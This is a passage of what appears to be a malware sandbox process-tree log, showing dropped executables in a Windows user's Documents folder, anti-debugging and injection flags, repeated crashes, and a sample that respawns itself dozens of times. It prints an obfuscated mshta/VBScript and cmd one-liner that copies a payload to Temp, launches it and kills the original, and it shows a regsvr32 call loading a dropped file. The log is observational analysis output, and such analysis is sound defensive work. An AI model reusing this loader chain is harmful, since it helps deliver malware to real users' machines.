C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:34656

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:35084

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:8324

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:35028

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:31264

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:23940

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:36492

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:35196

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:18928

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:36324

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:24440

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:28660

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:37640

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:31484

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:33952

C:\Users\Admin\Documents\ZjthTY5DcIsQrDMoxYAmO6HV.exe
"C:\Users\Admin\Documents\ZjthTY5DcIsQrDMoxYAmO6HV.exe"
2⤵
- Executes dropped EXE
PID:4648

C:\Users\Admin\Documents\iFyXDtCgqpbXTqsUZG6822cy.exe
"C:\Users\Admin\Documents\iFyXDtCgqpbXTqsUZG6822cy.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4148

C:\Users\Admin\Documents\vQziuBIF_NQ0wrSUC0yjvMn2.exe
"C:\Users\Admin\Documents\vQziuBIF_NQ0wrSUC0yjvMn2.exe"
2⤵
- Executes dropped EXE
PID:780

C:\Users\Admin\AppData\Local\Temp\is-BVGEA.tmp\vQziuBIF_NQ0wrSUC0yjvMn2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-BVGEA.tmp\vQziuBIF_NQ0wrSUC0yjvMn2.tmp" /SL5="$90062,1298908,743424,C:\Users\Admin\Documents\vQziuBIF_NQ0wrSUC0yjvMn2.exe"
3⤵
PID:3388

C:\Program Files (x86)\afqTools\afqTools.exe
"C:\Program Files (x86)\afqTools\afqTools.exe"
4⤵
- Executes dropped EXE
PID:4496

C:\Users\Admin\Documents\d2bjBuk5vNIK6heLnXCL1Exu.exe
"C:\Users\Admin\Documents\d2bjBuk5vNIK6heLnXCL1Exu.exe"
2⤵
- Executes dropped EXE
PID:4412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 656
3⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 672
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 732
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 660
3⤵
- Program crash
PID:4796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 800
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 1128
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:7844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 1120
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5596

C:\Users\Admin\Documents\tqdcGmB_fpbbxO0MwBJFw8E1.exe
"C:\Users\Admin\Documents\tqdcGmB_fpbbxO0MwBJFw8E1.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 736
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:5632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 752
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:6068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 708
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4456

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 764
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:6248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1188
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:3508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1256
3⤵
- Program crash
PID:7976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1188
3⤵
- Program crash
PID:644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1208
3⤵
- Program crash
PID:8752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1172
3⤵
- Program crash
PID:8796

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1260
3⤵
- Program crash
PID:5536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1248
3⤵
- Program crash
PID:10068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1228
3⤵
- Program crash
PID:10188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1248
3⤵
- Program crash
PID:1980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1192
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:8552

C:\Users\Admin\Documents\nFmLDYVtUhk5OSxVljav668D.exe
"C:\Users\Admin\Documents\nFmLDYVtUhk5OSxVljav668D.exe"
2⤵
- Executes dropped EXE
PID:4100

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\Documents\nFmLDYVtUhk5OSxVljav668D.exe"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if """"== """" for %A IN (""C:\Users\Admin\Documents\nFmLDYVtUhk5OSxVljav668D.exe"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )
3⤵
PID:2488

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\Documents\nFmLDYVtUhk5OSxVljav668D.exe"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if ""== "" for %A IN ("C:\Users\Admin\Documents\nFmLDYVtUhk5OSxVljav668D.exe" ) do taskkill /f -im "%~nxA"
4⤵
PID:4996

C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE
X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV
5⤵
- Executes dropped EXE
PID:5748

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if ""-PXPoqL0iOUHHP7hXFattB5ZvsV ""== """" for %A IN (""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )
6⤵
PID:6092

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if "-PXPoqL0iOUHHP7hXFattB5ZvsV "== "" for %A IN ("C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE" ) do taskkill /f -im "%~nxA"
7⤵
PID:5352

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" -S fOUT6o7J.Mj
6⤵
- Loads dropped DLL
PID:6016

C:\Windows\SysWOW64\taskkill.exe
taskkill /f -im "nFmLDYVtUhk5OSxVljav668D.exe"
5⤵
- Kills process with taskkill
PID:6052

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
"C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2248

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
- Executes dropped EXE
PID:2264

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
- Executes dropped EXE
PID:5192

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
- Executes dropped EXE
PID:5668

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
- Executes dropped EXE
PID:4756

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
- Executes dropped EXE
PID:5128

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
- Executes dropped EXE
PID:5604

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
- Executes dropped EXE
PID:6360

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:6740

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:7076

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:5844

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:6196

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:7028

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:2608

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:4428

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:5492

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:5732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5732 -s 24
4⤵
- Program crash
PID:7532

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:7476

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:7804

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:7308

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:7744

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:7652

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
- Executes dropped EXE
PID:2136

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:8340

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:8880

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:8272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 8272 -s 24
4⤵
- Program crash
PID:8984

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:8784

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:7064

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:6952

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:9636

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:10156

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:9916

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:4464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4464 -s 24
4⤵
- Program crash
PID:10372

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:10380

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:10852

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:11140

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:10880

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:10988

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:10652

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:11784

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:11712

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:12172

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:12936

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:12408

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:5760

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:13104

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:1092

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:10988

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:12600

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:4968

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:12052

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:9340

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:13368

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:14176

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:14332

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:3644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3644 -s 24
4⤵
- Program crash
PID:14676

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:14532

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:15068

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:14576

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:15432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 15432 -s 24
4⤵
- Program crash
PID:16200

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:15936

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:5016

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:16272

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:15704

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:16752

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:16828

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:16936

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:17636

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:18092

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:17656

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:11936

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:18284

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:15168

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:7944

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:17720

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:7980

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:10520

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:15276

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:18564

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:19380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 19380 -s 24
4⤵
- Program crash
PID:19268

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:19188

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:19412

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:19536

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:20168

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:19808

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:19804

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:18836

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:21044

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:21220

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:20772

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:21968

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:16880

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:16968

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:21244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 21244 -s 24
4⤵
- Program crash
PID:17104

C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
C:\Users\Admin\Documents\1MZWnoWx3JS8tojs1fEEWoJX.exe
3⤵
PID:20792

